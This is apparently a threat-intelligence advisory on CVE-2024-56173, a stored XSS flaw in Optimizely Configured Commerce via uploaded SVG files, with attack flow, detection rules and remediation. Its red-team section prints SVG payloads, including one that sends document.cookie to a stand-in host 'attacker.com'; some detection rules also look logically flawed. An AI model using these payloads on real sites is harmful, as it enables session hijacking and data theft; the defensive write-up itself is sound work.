CVE-2024-56173

Executive Summary

CVE-2024-56173 is a stored Cross-Site Scripting (XSS) vulnerability in Optimizely Configured Commerce, affecting versions prior to 5.2.2408. The vulnerability allows an attacker to inject malicious JavaScript payloads within SVG documents, which are then stored on the server and executed in the browsers of unsuspecting users under specific conditions. This can lead to session hijacking, data theft, or further compromise of the application and its users. The vulnerability has a CVSS score of 0.0 (placeholder) and no public exploit code or proof-of-concept is currently available. The vendor has released a patch in version 5.2.2408.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise commerce platform. The supply chain risk is limited to the software vendor's update distribution mechanism.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is a placeholder. Based on the vulnerability description (stored XSS via SVG), a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) - attacker needs to be able to upload or inject SVG content.
• User Interaction (UI): Required (R) - victim must view the malicious SVG.
• Scope (S): Changed (C) - XSS can impact resources beyond the vulnerable component.
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): Low (L)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L Estimated Base Score: 8.0 (High)

Threat Level: High. Stored XSS in an enterprise commerce platform can lead to account takeover, data exfiltration, and lateral movement within the organization.

Deep Dive & Mechanics

The vulnerability resides in how Optimizely Configured Commerce handles SVG (Scalable Vector Graphics) documents. SVG files are XML-based and can contain embedded JavaScript within <script> tags or event handlers (e.g., onload, onmouseover). The application fails to properly sanitize or validate SVG content before storing it. When a user views the stored SVG (e.g., in a product image, user avatar, or document viewer), the browser parses the SVG and executes the embedded JavaScript in the context of the user's session.

Attack Flow:

1. Injection: An authenticated attacker with content upload privileges (e.g., a merchant or admin) uploads a crafted SVG file containing malicious JavaScript.
2. Storage: The application stores the SVG file without proper sanitization.
3. Trigger: A victim (another admin, customer, or visitor) views the page containing the SVG (e.g., product page, user profile).
4. Execution: The browser renders the SVG, executing the attacker's JavaScript. This can steal cookies, session tokens, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

No specific code snippets are available from public sources. The fix likely involves:

• Vulnerable Code (Conceptual): The application accepts SVG uploads and serves them with Content-Type: image/svg+xml without stripping <script> tags or event handlers.
• Patched Code (Conceptual): The application sanitizes SVG content using a library like DOMPurify or removes <script> tags and event handler attributes before storage. Alternatively, it may serve SVGs with Content-Disposition: attachment to prevent inline rendering.

Exploitation & Lab Setup

No public exploit code is available. The following is a conceptual lab setup for testing.

Red Team (Offensive)

Lab Setup:

1. Install a vulnerable version of Optimizely Configured Commerce (e.g., 5.2.2400).
2. Create a user account with content upload privileges.
3. Craft a malicious SVG file:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    alert('XSS: ' + document.cookie);
  </script>
  <circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>

4. Upload the SVG to a vulnerable endpoint (e.g., product image, user avatar).
5. As a victim, navigate to the page displaying the SVG. The JavaScript executes.

Advanced Payload (Session Hijacking):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
  </script>
  <circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>

Blue Team (Defensive)

Detection:

1. Monitor for SVG file uploads containing <script> tags or event handlers.
2. Inspect HTTP requests for Content-Type: image/svg+xml with suspicious payloads.
3. Use a Web Application Firewall (WAF) to block SVG files with embedded JavaScript.

Mitigation:

1. Apply the vendor patch (upgrade to 5.2.2408 or later).
2. Implement strict input validation and sanitization for all SVG uploads.
3. Serve SVGs with Content-Disposition: attachment to prevent inline execution.
4. Use Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• File Hashes (Example): (No specific hashes available; monitor for SVGs with unusual content)
• Network Indicators:
  • Outbound HTTP requests to unknown domains from the application server.
  • Suspicious POST requests to endpoints handling SVG uploads.
• Log Entries:
  • [WARN] SVG file uploaded with embedded script tag
  • [ERROR] XSS attempt detected in SVG content
• Behavioral:
  • Unexpected JavaScript execution in the context of the commerce application.
  • Unauthorized session token usage.

Detection Engineering

YARA Rule

rule Detect_Malicious_SVG_XSS {
    meta:
        description = "Detects SVG files containing JavaScript that may be used for XSS attacks"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-56173"
    strings:
        $svg_header = "<svg"
        $script_tag = "<script"
        $event_handler = /on\w+\s*=\s*["']/
        $javascript_protocol = "javascript:"
    condition:
        $svg_header and ($script_tag or $event_handler or $javascript_protocol)
}

Sigma Rule

title: Suspicious SVG Upload with Embedded Script
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files containing script tags or event handlers, indicative of XSS attempt (CVE-2024-56173)
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '.svg'
        cs-uri-query|contains|all:
            - '<script'
            - 'onload'
            - 'onerror'
    condition: selection
falsepositives:
    - Legitimate SVG files with embedded scripts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56173 - Malicious SVG Upload Detected"; flow:to_server,established; content:"POST"; http_method; content:".svg"; http_uri; content:"<script"; http_client_body; nocase; content:"onload"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade Optimizely Configured Commerce to version 5.2.2408 or later.
2. Workaround: If immediate patching is not possible, implement a WAF rule to block SVG uploads containing <script> tags or event handlers.
3. Long-term:
   • Enforce strict Content Security Policy (CSP) headers.
   • Sanitize all SVG uploads using a library like DOMPurify.
   • Serve user-uploaded SVGs with Content-Disposition: attachment to prevent inline rendering.
   • Conduct regular security audits and penetration testing.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert